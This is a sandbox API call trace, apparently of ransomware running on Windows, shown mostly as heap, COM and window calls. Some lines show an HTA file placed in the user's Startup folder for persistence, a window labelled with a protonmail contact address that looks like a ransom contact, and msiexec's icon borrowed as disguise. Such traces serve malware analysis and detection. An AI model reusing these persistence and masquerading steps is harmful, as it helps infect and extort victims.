[0102.413] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x496130
[0102.413] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x100) returned 0x4bec18
[0102.413] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x464328
[0102.413] GetCurrentThreadId () returned 0x4e0
[0102.413] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.413] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.413] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x76130000
[0102.414] GetProcAddress (hModule=0x76130000, lpProcName="VariantClear") returned 0x76133eae
[0102.414] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.414] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.414] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.414] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.414] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.414] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.414] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.414] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.415] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.415] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.415] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.415] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.415] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.415] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.415] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.415] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.415] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.415] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.416] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.416] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.416] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.416] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.416] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.416] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.416] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.416] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.416] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.416] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.417] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.417] GetCurrentThreadId () returned 0x4e0
[0102.417] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x492e08
[0102.417] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.418] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x492e38
[0102.418] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.419] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.419] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.419] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.419] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.419] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.419] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.419] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.419] GetCurrentThreadId () returned 0x4e0
[0102.419] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.419] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.419] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.419] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.419] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.419] GetCurrentThreadId () returned 0x4e0
[0102.420] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.420] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.420] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x496290
[0102.420] CreateUri (in: pwzURI="msiexec.exe", dwFlags=0x2b85, dwReserved=0x0, ppURI=0x1cd4b0 | out: ppURI=0x1cd4b0*=0x47c6cc) returned 0x0
[0102.420] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppu=0x1cd340 | out: ppu=0x1cd340) returned 0x0
[0102.420] CreateUri (in: pwzURI="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwFlags=0x2b85, dwReserved=0x0, ppURI=0x1cd3fc | out: ppURI=0x1cd3fc*=0x47c7a4) returned 0x0
[0102.420] IUnknown:QueryInterface (in: This=0x47c7a4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cd3c4 | out: ppvObject=0x1cd3c4*=0x47c7a4) returned 0x0
[0102.421] IUnknown:Release (This=0x47c7a4) returned 0xb
[0102.421] IUnknown:AddRef (This=0x47c7a4) returned 0xc
[0102.422] CoInternetCombineIUri (in: pBaseUri=0x47c7a4, pRelativeUri=0x47c6cc, dwCombineFlags=0x6000000, ppCombinedUri=0x1cd430, dwReserved=0x0 | out: ppCombinedUri=0x1cd430*=0x47d6d4) returned 0x0
[0102.425] IUnknown:Release (This=0x47c7a4) returned 0xc
[0102.425] IUnknown:Release (This=0x47c7a4) returned 0xb
[0102.425] IUnknown:QueryInterface (in: This=0x47d6d4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cd384 | out: ppvObject=0x1cd384*=0x47d6d4) returned 0x0
[0102.425] IUnknown:Release (This=0x47d6d4) returned 0x2
[0102.425] IUnknown:AddRef (This=0x47d6d4) returned 0x3
[0102.425] IUri:GetAbsoluteUri (in: This=0x47d6d4, pbstrAbsoluteUri=0x1cd378 | out: pbstrAbsoluteUri=0x1cd378*="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/msiexec.exe") returned 0x0
[0102.425] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xcc) returned 0x47d7a0
[0102.425] IUnknown:AddRef (This=0x47d6d4) returned 0x4
[0102.425] IUnknown:QueryInterface (in: This=0x47d6d4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cd354 | out: ppvObject=0x1cd354*=0x47d6d4) returned 0x0
[0102.426] IUnknown:Release (This=0x47d6d4) returned 0x4
[0102.426] IUnknown:AddRef (This=0x47d6d4) returned 0x5
[0102.426] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x4b1a38
[0102.426] IUnknown:Release (This=0x47d6d4) returned 0x4
[0102.426] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x3c) returned 0x4a3e78
[0102.426] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x58) returned 0x4a0d88
[0102.426] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cd300 | out: phkResult=0x1cd300*=0x164) returned 0x0
[0102.426] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cd304 | out: phkResult=0x1cd304*=0x16c) returned 0x0
[0102.426] RegOpenKeyExW (in: hKey=0x16c, lpSubKey="FEATURE_SUBDOWNLOAD_LOCKDOWN", ulOptions=0x0, samDesired=0x1, phkResult=0x1cd2c0 | out: phkResult=0x1cd2c0*=0x0) returned 0x2
[0102.426] RegOpenKeyExW (in: hKey=0x164, lpSubKey="FEATURE_SUBDOWNLOAD_LOCKDOWN", ulOptions=0x0, samDesired=0x1, phkResult=0x1cd2c0 | out: phkResult=0x1cd2c0*=0xb8) returned 0x0
[0102.426] SHRegGetValueW () returned 0x2
[0102.426] SHRegGetValueW () returned 0x2
[0102.427] RegCloseKey (hKey=0xb8) returned 0x0
[0102.427] RegCloseKey (hKey=0x0) returned 0x6
[0102.427] RegCloseKey (hKey=0x0) returned 0x6
[0102.427] RegCloseKey (hKey=0x164) returned 0x0
[0102.427] RegCloseKey (hKey=0x16c) returned 0x0
[0102.427] IInternetSecurityManager:MapUrlToZone (in: This=0x483558, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pdwZone=0x1cd390, dwFlags=0x0 | out: pdwZone=0x1cd390*=0x0) returned 0x0
[0102.428] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1b0) returned 0x4b8550
[0102.428] IUnknown:QueryInterface (in: This=0x47d6d4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cd08c | out: ppvObject=0x1cd08c*=0x47d6d4) returned 0x0
[0102.428] IUnknown:Release (This=0x47d6d4) returned 0x4
[0102.428] IUnknown:AddRef (This=0x47d6d4) returned 0x5
[0102.428] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/msiexec.exe", ppu=0x1cd050 | out: ppu=0x1cd050) returned 0x0
[0102.428] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xe8) returned 0x493620
[0102.428] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xe8) returned 0x4b8708
[0102.428] CoInternetParseUrl (in: pwzUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/msiexec.exe", ParseAction=0x13, dwFlags=0x0, pszResult=0x4b8708, cchResult=0x74, pcchResult=0x1cd05c, dwReserved=0x0 | out: pszResult="file:///C:/Users/5p5NrGJn0jS HALPmcxz/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/msiexec.exe", pcchResult=0x1cd05c) returned 0x0
[0102.428] CoInternetParseUrl (in: pwzUrl="file:///C:/Users/5p5NrGJn0jS HALPmcxz/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/msiexec.exe", ParseAction=0x9, dwFlags=0x0, pszResult=0x493620, cchResult=0x74, pcchResult=0x1cd05c, dwReserved=0x0 | out: pszResult="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\msiexec.exe", pcchResult=0x1cd05c) returned 0x0
[0102.428] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b8708 | out: hHeap=0x450000) returned 1
[0102.428] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493620 | out: hHeap=0x450000) returned 1
[0102.428] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.428] IUnknown:AddRef (This=0x47d6d4) returned 0x6
[0102.428] IUnknown:AddRef (This=0x47d6d4) returned 0x7
[0102.429] IUnknown:QueryInterface (in: This=0x47d6d4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cd080 | out: ppvObject=0x1cd080*=0x47d6d4) returned 0x0
[0102.429] IUnknown:Release (This=0x47d6d4) returned 0x7
[0102.429] IUnknown:AddRef (This=0x47d6d4) returned 0x8
[0102.429] IUri:GetScheme (in: This=0x47d6d4, pdwScheme=0x4b8658 | out: pdwScheme=0x4b8658*=0x9) returned 0x0
[0102.429] CoInternetParseIUri (in: pIUri=0x47d6d4, ParseAction=0x9, dwFlags=0x0, pwzResult=0x1cd0f8, cchResult=0x104, pcchResult=0x1cd09c, dwReserved=0x0 | out: pwzResult="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\msiexec.exe", pcchResult=0x1cd09c) returned 0x0
[0102.429] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xd4) returned 0x493620
[0102.429] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\msiexec.exe", lpFindFileData=0x1cce28 | out: lpFindFileData=0x1cce28*(dwFileAttributes=0x350070, ftCreationTime.dwLowDateTime=0x72004e, ftCreationTime.dwHighDateTime=0x4a0047, ftLastAccessTime.dwLowDateTime=0x30006e, ftLastAccessTime.dwHighDateTime=0x53006a, ftLastWriteTime.dwLowDateTime=0x480020, ftLastWriteTime.dwHighDateTime=0x4c0041, nFileSizeHigh=0x6d0050, nFileSizeLow=0x780063, dwReserved0=0x5c007a, dwReserved1=0x700041, cFileName="pData\\Roaming\\Microsoft\\Windows\\Start Menu\\Progr\x1c", cAlternateFileName="탸\x1cg")) returned 0xffffffff
[0102.429] IUnknown:QueryInterface (in: This=0x47d6d4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cd08c | out: ppvObject=0x1cd08c*=0x47d6d4) returned 0x0
[0102.429] IUnknown:Release (This=0x47d6d4) returned 0x8
[0102.429] IUnknown:AddRef (This=0x47d6d4) returned 0x9
[0102.429] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x10) returned 0x4bb370
[0102.429] IInternetSession:CreateBinding (in: This=0x485e48, pbc=0x0, szUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/msiexec.exe", pUnkOuter=0x0, ppunk=0x0, ppOInetProt=0x4bb378, dwOption=0x0 | out: ppunk=0x0, ppOInetProt=0x4bb378*=0x4b8708) returned 0x0
[0102.430] IUnknown:QueryInterface (in: This=0x4b8708, riid=0x73286078*(Data1=0x53c84785, Data2=0x8425, Data3=0x4dc5, Data4=([0]=0x97, [1]=0x1b, [2]=0xe5, [3]=0x8d, [4]=0x9c, [5]=0x19, [6]=0xf9, [7]=0xb6)), ppvObject=0x1cd010 | out: ppvObject=0x1cd010*=0x0) returned 0x80004002
[0102.430] IUnknown:QueryInterface (in: This=0x4b8708, riid=0x73286068*(Data1=0x79eac9eb, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x1cd020 | out: ppvObject=0x1cd020*=0x4b8718) returned 0x0
[0102.430] IInternetPriority:SetPriority (This=0x4b8718, nPriority=-1) returned 0x0
[0102.430] IUnknown:Release (This=0x4b8718) returned 0x1
[0102.430] IUnknown:AddRef (This=0x4b8708) returned 0x2
[0102.430] IUnknown:QueryInterface (in: This=0x4b8708, riid=0x73286158*(Data1=0xc7a98e66, Data2=0x1010, Data3=0x492c, Data4=([0]=0xa1, [1]=0xc8, [2]=0xc8, [3]=0x9, [4]=0xe1, [5]=0xf7, [6]=0x59, [7]=0x5)), ppvObject=0x1cd054 | out: ppvObject=0x1cd054*=0x4b8708) returned 0x0
[0102.430] IInternetProtocolEx:StartEx (This=0x4b8708, pUri=0x47d6d4, pOIProtSink=0x4b85a4, pOIBindInfo=0x4b856c, grfPI=0x10, dwReserved=0x0) returned 0x800c0005
[0102.430] IUnknown:AddRef (This=0x4b85a4) returned 0x3
[0102.430] IUnknown:AddRef (This=0x4b856c) returned 0x4
[0102.430] IUnknown:QueryInterface (in: This=0x4b856c, riid=0x76896f40*(Data1=0xa3e015b7, Data2=0xa82c, Data3=0x4dcd, Data4=([0]=0xa1, [1]=0x50, [2]=0x56, [3]=0x9a, [4]=0xee, [5]=0xed, [6]=0x36, [7]=0xab)), ppvObject=0x1ccffc | out: ppvObject=0x1ccffc*=0x0) returned 0x80004002
[0102.430] IInternetBindInfo:GetBindInfo (in: This=0x4b856c, grfBINDF=0x4b8878, pbindinfo=0x4b8880 | out: grfBINDF=0x4b8878*=0x20083, pbindinfo=0x4b8880) returned 0x0
[0102.430] IUnknown:AddRef (This=0x4b85a4) returned 0x5
[0102.431] IInternetProtocolSink:ReportProgress (This=0x4b85a4, ulStatusCode=0x1e, szStatusText=0x0) returned 0x0
[0102.431] IInternetProtocolSink:ReportProgress (This=0x4b85a4, ulStatusCode=0xb, szStatusText="") returned 0x0
[0102.431] IInternetProtocolSink:ReportResult (This=0x4b85a4, hrResult=0x800c0005, dwError=0x2, szResult=0x0) returned 0x0
[0102.431] IInternetProtocolRoot:Terminate (This=0x4b8708, dwOptions=0x0) returned 0x0
[0102.431] IUnknown:Release (This=0x4b856c) returned 0x4
[0102.431] IUnknown:Release (This=0x4b85a4) returned 0x3
[0102.431] IUnknown:Release (This=0x4b85a4) returned 0x2
[0102.431] IUnknown:Release (This=0x4b8708) returned 0x2
[0102.431] IUnknown:Release (This=0x47d6d4) returned 0xa
[0102.431] IUnknown:AddRef (This=0x47c954) returned 0x3
[0102.431] GetIUriPriv () returned 0x0
[0102.432] IUnknown:Release (This=0x47c954) returned 0x3
[0102.432] IUnknown:Release (This=0x47c954) returned 0x2
[0102.432] IUnknown:Release (This=0x47d6d4) returned 0x9
[0102.432] IUnknown:Release (This=0x47d6d4) returned 0x8
[0102.432] CoTaskMemFree (pv=0x0)
[0102.432] GetCurrentThreadId () returned 0x4e0
[0102.432] IUnknown:AddRef (This=0x47c954) returned 0x3
[0102.432] GetIUriPriv () returned 0x0
[0102.432] IUnknown:Release (This=0x47c954) returned 0x3
[0102.432] IUnknown:Release (This=0x47c954) returned 0x2
[0102.432] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.432] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.432] IUnknown:Release (This=0x47d6d4) returned 0x7
[0102.432] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.432] IUnknown:Release (This=0x4b8708) returned 0x1
[0102.432] IUnknown:Release (This=0x4b8708) returned 0x0
[0102.432] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb370 | out: hHeap=0x450000) returned 1
[0102.432] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.433] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.433] IUnknown:Release (This=0x47d6d4) returned 0x4
[0102.433] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493620 | out: hHeap=0x450000) returned 1
[0102.433] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b8550 | out: hHeap=0x450000) returned 1
[0102.433] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4a0d88 | out: hHeap=0x450000) returned 1
[0102.433] IUnknown:Release (This=0x47d6d4) returned 0x3
[0102.433] IUnknown:Release (This=0x47c6cc) returned 0x2
[0102.433] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x4b1a88
[0102.433] GetWindowTextW (in: hWnd=0x1012c, lpString=0x1cc5e0, nMaxCount=512 | out: lpString="") returned 0
[0102.433] NtdllDefWindowProc_W () returned 0x0
[0102.433] SetWindowTextW (hWnd=0x1012c, lpString="fiasco911@protonmail.com") returned 1
[0102.433] NtdllDefWindowProc_W () returned 0x1
[0102.434] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x769c0000
[0102.434] GetProcAddress (hModule=0x769c0000, lpProcName="ExtractIconW") returned 0x76acdd1c
[0102.434] ExtractIconW (hInst=0x920000, lpszExeFileName="msiexec.exe", nIconIndex=0x0) returned 0x1013b
[0102.441] SendMessageW (hWnd=0x10128, Msg=0x80, wParam=0x1, lParam=0x1013b) returned 0x0
[0102.441] NtdllDefWindowProc_W () returned 0x0
[0102.443] NtdllDefWindowProc_W () returned 0x0
[0102.443] NtdllDefWindowProc_W () returned 0x0
[0102.444] SendMessageW (hWnd=0x1012c, Msg=0x80, wParam=0x0, lParam=0x1013b) returned 0x0
[0102.444] NtdllDefWindowProc_W () returned 0x0
[0102.444] SetWindowLongW (hWnd=0x1012c, nIndex=-16, dwNewLong=13041664) returned -2033254400
[0102.444] NtdllDefWindowProc_W () returned 0x0
[0102.445] NtdllDefWindowProc_W () returned 0x0
[0102.470] SetWindowLongW (hWnd=0x1012c, nIndex=-20, dwNewLong=262144) returned 262400
[0102.470] NtdllDefWindowProc_W () returned 0x0
[0102.470] NtdllDefWindowProc_W () returned 0x0
[0102.470] SetWindowPos (hWnd=0x1012c, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1
[0102.471] NtdllDefWindowProc_W () returned 0x0
[0102.471] NtdllDefWindowProc_W () returned 0x0
[0102.471] NtdllDefWindowProc_W () returned 0x0
[0102.471] GlobalAddAtomW (lpString=0x0) returned 0x0
[0102.471] SetPropW (hWnd=0x10128, lpString=0x0, hData=0x10128) returned 0
[0102.472] ShowWindow (hWnd=0x1012c, nCmdShow=1) returned 0
[0102.472] NtdllDefWindowProc_W () returned 0x0
[0102.472] NtdllDefWindowProc_W () returned 0x0
[0102.472] NtdllDefWindowProc_W () returned 0x0
[0102.474] NtdllDefWindowProc_W () returned 0x0
[0102.484] NtdllDefWindowProc_W () returned 0x1
[0102.485] NtdllDefWindowProc_W () returned 0x0
[0102.485] GetClientRect (in: hWnd=0x1012c, lpRect=0x1cd2c8 | out: lpRect=0x1cd2c8) returned 1
[0102.485] GetClientRect (in: hWnd=0x1012c, lpRect=0x1cd2c8 | out: lpRect=0x1cd2c8) returned 1
[0102.485] NtdllDefWindowProc_W () returned 0x0
[0102.485] UpdateWindow (hWnd=0x1012c) returned 1
[0102.485] NtdllDefWindowProc_W () returned 0x0
[0102.486] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0102.486] RedrawWindow (hWnd=0x1013a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0xa1) returned 1
[0102.486] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f038
[0102.486] GetCurrentThreadId () returned 0x4e0
[0102.486] GetCurrentThreadId () returned 0x4e0
[0102.486] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x49c100
[0102.487] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xec) returned 0x4b8c10
[0102.487] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc) returned 0x4bb370
[0102.487] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x64) returned 0x48cb40
[0102.487] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xec) returned 0x4b8d08
[0102.487] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.487] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.488] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe8) returned 0x4b8e00
[0102.488] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb4) returned 0x4b8ef0
[0102.488] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.488] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.488] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.488] IntersectRect (in: lprcDst=0x1cc9bc, lprcSrc1=0x1cc9bc, lprcSrc2=0x1cc98c | out: lprcDst=0x1cc9bc) returned 1
[0102.488] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cc9ac | out: lprcDst=0x499f50) returned 1
[0102.488] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cc9cc | out: lprcDst=0x499f50) returned 1
[0102.488] IntersectRect (in: lprcDst=0x1cc580, lprcSrc1=0x1cc580, lprcSrc2=0x1cc550 | out: lprcDst=0x1cc580) returned 1
[0102.488] IntersectRect (in: lprcDst=0x499fd8, lprcSrc1=0x499fd8, lprcSrc2=0x1cc570 | out: lprcDst=0x499fd8) returned 1
[0102.488] IntersectRect (in: lprcDst=0x1cc67c, lprcSrc1=0x1cc67c, lprcSrc2=0x1cc64c | out: lprcDst=0x1cc67c) returned 1
[0102.489] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cc66c | out: lprcDst=0x499f50) returned 1
[0102.489] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.489] IntersectRect (in: lprcDst=0x1cc590, lprcSrc1=0x1cc590, lprcSrc2=0x499f40 | out: lprcDst=0x1cc590) returned 1
[0102.489] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.489] UnionRect (in: lprcDst=0x1ccbd8, lprcSrc1=0x1ccbd8, lprcSrc2=0x1ccb84 | out: lprcDst=0x1ccbd8) returned 1
[0102.489] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x492e68
[0102.489] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x492e68 | out: hHeap=0x450000) returned 1
[0102.489] RedrawWindow (hWnd=0x1013a, lprcUpdate=0x1ccc58, hrgnUpdate=0x0, flags=0x21) returned 1
[0102.489] MapWindowPoints (in: hWndFrom=0x1013a, hWndTo=0x0, lpPoints=0x1ccce4, cPoints=0x1 | out: lpPoints=0x1ccce4) returned 6881363
[0102.489] BeginPaint (in: hWnd=0x1013a, lpPaint=0x1cd118 | out: lpPaint=0x1cd118) returned 0x1401007f
[0102.489] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0102.489] GetCurrentThreadId () returned 0x4e0
[0102.489] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0102.489] GetCurrentThreadId () returned 0x4e0
[0102.489] IsRectEmpty (lprc=0x1cd120) returned 0
[0102.489] CreateRectRgnIndirect (lprect=0x732e7be0) returned 0xb04021f
[0102.489] GetRandomRgn (hdc=0x1401007f, hrgn=0xb04021f, i=4) returned 1
[0102.489] OffsetRgn (hrgn=0xb04021f, x=-83, y=-105) returned 2
